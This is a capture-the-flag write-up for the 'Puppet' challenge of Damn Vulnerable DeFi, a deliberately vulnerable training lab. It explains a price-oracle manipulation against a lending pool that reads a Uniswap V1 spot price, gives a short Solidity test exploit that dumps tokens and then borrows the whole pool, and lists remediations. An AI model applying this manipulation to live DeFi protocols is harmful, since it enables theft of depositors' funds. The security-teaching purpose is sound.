CTF walkthrough, Damn Vulnerable DeFi, #8 Puppet

Challenge

There’s a huge lending pool borrowing Damn Valuable Tokens (DVTs), where you first need to deposit twice the borrow amount in ETH as collateral. The pool currently has 100000 DVTs in liquidity.

There’s a DVT market opened in an description Uniswap v1 exchange, currently with 10 ETH and 10 DVT in liquidity.

Starting with 25 ETH and 1000 DVTs in balance, you must steal all tokens from the lending pool.

Analysis

The Puppet.t.sol test contract uses the deployCode to deploy Uniswap V1 contracts by fetching the ABI and bytecode from the artifacts directory. We assume it is an original Uniswap V1 pool so we can read the docs to see how to interact with it.

Let’s review the borrow function:

function borrow(uint256 borrowAmount) public payable nonReentrant {
    uint256 depositRequired = calculateDepositRequired(borrowAmount);

    if (msg.value < depositRequired) revert NotDepositingEnoughCollateral();

    if (msg.value > depositRequired) {
        payable(msg.sender).sendValue(msg.value - depositRequired);
    }

    deposits[msg.sender] = deposits[msg.sender] + depositRequired;

    // Fails if the pool doesn't have enough tokens in liquidity
    if (!token.transfer(msg.sender, borrowAmount)) revert TransferFailed();

    emit Borrowed(msg.sender, depositRequired, borrowAmount);
}

The first line in the function body is the most interesting one. It calls the calculateDepositRequired to get the amount of ETH we need to deposit as a collateral to borrow the given amount of DVT’s.

function calculateDepositRequired(uint256 amount)
    public
    view
    returns (uint256)
{
    return (amount * _computeOraclePrice() * 2) / 10**18;
}

As we can see, user needs to deposit twice the borrow amount in ETH as collateral. This function calls the _computeOraclePrice to get the price of the token in wei according to Uniswap pair.

function _computeOraclePrice() private view returns (uint256) {
    return (uniswapPair.balance * (10**18)) / token.balanceOf(uniswapPair);
}

The _computeOraclePrice acts as a price oracle. A terrible price oracle, because we can manipulate it by changing balances of the ETH/DVT Uniswap pool to take an undercollaterized loan.

Exploit

Goal: We would like to borrow all the DVT’s from the pool while providing as little ETH as possible.

We have 1000 DVT’s. So we can drop the price of DVT by selling all of them. This kind of huge trade would cause an imbalance in the ETH/DVT pool, which makes it possible to take out a loan that appears to be sufficiently collateralized, but is in fact undercollateralized. Then we can call the borrow function, which will use the ETH/DVT as oracle and check it at the instant when the apparent price has been manipulated:

function testExploit() public {
    /** EXPLOIT START **/
    vm.startPrank(attacker);
    dvt.approve(address(uniswapExchange), ATTACKER_INITIAL_TOKEN_BALANCE);
    // Sell all the DVT's we have to drop its price
    uint256 result = uniswapExchange.tokenToEthSwapInput(
        ATTACKER_INITIAL_TOKEN_BALANCE,
        9 * 1e18,
        DEADLINE
    );
    assertGt(result, 9 ether);
    // Get the undercollateralized loan
    puppetPool.borrow{value: 20 ether}(100_000e18);
    vm.stopPrank();
    /** EXPLOIT END **/
    validation();
}

Summary and key takeaways

In general it is hard to use price oracles safely. And it’s not always obvious that you’re using a price oracle.

Remediation

There are a few solutions that you might want to consider to protect yourself.

  • Don’t use on chain AMM’s as price oracles.
  • Always consider the implications of dependencies on third-party projects.
  • Do not dive in shallow markets. Markets without enough liquidity are dangerous and easier to manipulate.
  • Time-Weighted Average Price (TWAP). Uniswap V2 introduced a TWAP oracle, which is resistant to oracle manipulation attacks.
  • M-of-N reporters: Use something like Chainlink price oracles, which aggregates price data from Chainlink operators and exposes it on-chain.
  • Speed bumps: Implement a delay of as short as 1 block between a user entering and exiting your system.

References

Check out these references if you want to learn more about dangers of price oracles:


I hope you enjoyed this writeup. The complete code is here.

Let’s move on! The next challenge is #9 Puppet V2.